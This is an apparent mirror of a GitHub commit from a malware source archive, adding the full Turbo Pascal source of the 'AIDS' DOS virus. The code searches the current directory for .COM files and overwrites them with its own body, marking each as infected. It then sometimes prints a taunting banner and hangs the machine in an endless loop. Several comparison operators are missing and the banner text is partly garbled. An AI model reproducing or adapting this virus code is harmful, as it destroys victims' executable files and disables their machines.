mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 15:29:23 +00:00
Add files via upload
This commit is contained in:
vxunderground
GitHub
@@ -0,0 +1,302 @@
|
||||
{AIDS
|
||||
|
||||
Although this is a primitive virus its effective.
|
||||
In this virus only the .COM
|
||||
files are infected. Its about 13K and it will
|
||||
change the date entry.}
|
||||
|
||||
{C-}
|
||||
{U-}
|
||||
{I-} { Wont allow a user break, enable IO check }
|
||||
{ -- Constants --------------------------------------- }
|
||||
Const
|
||||
VirusSize = 13847; { AIDS's code size }
|
||||
Warning :String[42] { Warning message }
|
||||
= 'This File Has Been Infected By AIDS! HaHa!';
|
||||
{ -- Type declarations------------------------------------- }
|
||||
Type
|
||||
DTARec =Record { Data area for file search }
|
||||
DOSnext :Array[1..21] of Byte;
|
||||
Attr : Byte;
|
||||
Ftime,
|
||||
FDate,
|
||||
FLsize,
|
||||
FHsize : Integer;
|
||||
FullName: Array[1..13] of Char;
|
||||
End;
|
||||
Registers = Record {Register set used for file search }
|
||||
Case Byte of
|
||||
1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
|
||||
2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte);
|
||||
End;
|
||||
{ -- Variables--------------------------------------------- }
|
||||
Var
|
||||
{ Memory offset program code }
|
||||
ProgramStart : Byte absolute Cseg:$100;
|
||||
{ Infected marker }
|
||||
MarkInfected : String[42] absolute Cseg:$180;
|
||||
Reg : Registers; { Register set }
|
||||
DTA : DTARec; { Data area }
|
||||
Buffer : Array[Byte] of Byte; { Data buffer }
|
||||
TestID : String[42]; { To recognize infected files }
|
||||
UsePath : String[66]; { Path to search files }
|
||||
{ Lenght of search path }
|
||||
UsePathLenght: Byte absolute UsePath;
|
||||
Go : File; { File to infect }
|
||||
B : Byte; { Used }
|
||||
LoopVar : Integer; {Will loop forever}
|
||||
{ -- Program code------------------------------------------ }
|
||||
Begin
|
||||
GetDir(0, UsePath); { get current directory }
|
||||
if Pos('\', UsePath) < UsePathLenght then
|
||||
UsePath := UsePath + '\';
|
||||
UsePath := UsePath + '*.COM'; { Define search mask }
|
||||
Reg.AH := $1A; { Set data area }
|
||||
Reg.DS := Seg(DTA);
|
||||
Reg.DX := Ofs(DTA);
|
||||
MsDos(Reg);
|
||||
UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
|
||||
Reg.AH := $4E;
|
||||
Reg.DS := Seg(UsePath);
|
||||
Reg.DX := Ofs(UsePath[1]);
|
||||
Reg.CX := $ff; { Set attribute to find ALL files }
|
||||
MsDos(Reg); { Find first matching entry }
|
||||
IF not Odd(Reg.Flags) Then { If a file found then }
|
||||
Repeat
|
||||
UsePath := DTA.FullName;
|
||||
B := Pos(#0, UsePath);
|
||||
If B 0 then
|
||||
Delete(UsePath, B, 255); { Remove garbage }
|
||||
Assign(Go, UsePath);
|
||||
Reset(Go);
|
||||
If IOresult = 0 Then { If not IO error then }
|
||||
Begin
|
||||
BlockRead(Go, Buffer, 2);
|
||||
Move(Buffer[$80], TestID, 43);
|
||||
{ Test if file already ill(Infected) }
|
||||
If TestID < Warning Then { If not then ... }
|
||||
Begin
|
||||
Seek (Go, 0);
|
||||
{ Mark file as infected and .. }
|
||||
MarkInfected := Warning;
|
||||
{ Infect it }
|
||||
BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));
|
||||
Close(Go);
|
||||
Halt; {.. and halt the program }
|
||||
End;
|
||||
Close(Go);
|
||||
End;
|
||||
{ The file has already been infected, search next. }
|
||||
Reg.AH := $4F;
|
||||
Reg.DS := Seg(DTA);
|
||||
Reg.DX := Ofs(DTA);
|
||||
MsDos(Reg);
|
||||
{ ......................Until no more files are found }
|
||||
Until Odd(Reg.Flags);
|
||||
Loopvar:=Random(10);
|
||||
If Loopvar=7 then
|
||||
begin
|
||||
Writeln('_'); {Give a lot of smiles}
|
||||
Writeln('__');
|
||||
Writeln('
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
');
|
||||
Writeln('
|
||||
ATTENTION:
|
||||
');
|
||||
Writeln('
|
||||
I have been elected to inform you that throughout your process of
|
||||
');
|
||||
Writeln('
|
||||
collecting and executing files, you have accidentally _Hš›Kä_
|
||||
');
|
||||
Writeln('
|
||||
yourself over; again, that''s PHUCKED yourself over. No, it cannot
|
||||
');
|
||||
Writeln('
|
||||
be; YES, it CAN be, a û�ç-s has infected your system. Now what do
|
||||
');
|
||||
Writeln('
|
||||
you have to say about that? HAHAHAHA. Have _Hš¥ with this one and
|
||||
');
|
||||
Writeln('
|
||||
remember, there is NO cure for
|
||||
');
|
||||
Writeln('
|
||||
|
||||
');
|
||||
Writeln('
|
||||
ÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛ
|
||||
');
|
||||
Writeln('
|
||||
ÛÛÛ±±±±±±ÛÛÛ ±±±±ÛÛ±±±±±± ÛÛ±±±±±±±ÛÛÛ ÛÛÛ±±±±±±±ÛÛ
|
||||
');
|
||||
Writeln('
|
||||
ÛÛ±± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ±± ±±
|
||||
');
|
||||
Writeln('
|
||||
ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ±
|
||||
');
|
||||
Writeln('
|
||||
ÛÛÛÛÛÛÛÛÛÛÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
');
|
||||
Writeln('
|
||||
ÛÛ±±±±±±±±ÛÛ± ÛÛ± ÛÛ± ÛÛ± ±±±±±±±±±ÛÛ±
|
||||
');
|
||||
Writeln('
|
||||
ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ±
|
||||
');
|
||||
Writeln('
|
||||
ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛÛ± ÛÛ ÛÛÛ±
|
||||
');
|
||||
Writeln('
|
||||
ÛÛ± ÛÛ± ÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ±± ÛÛÛÛÛÛÛÛÛÛ±±
|
||||
');
|
||||
Writeln('
|
||||
±± ±± ±±±±±±±±±±±± ±±±±±±±±±±± ±±±±±±±±±±
|
||||
');
|
||||
Writeln('
|
||||
|
||||
');
|
||||
Writeln('
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
');
|
||||
REPEAT
|
||||
LOOPVAR:=0;
|
||||
UNTIL LOOPVAR=1;
|
||||
end;
|
||||
End.
|
||||
|
||||
This page hosted by Get your own Free Homepage
|
||||
Reference in New Issue
Block a user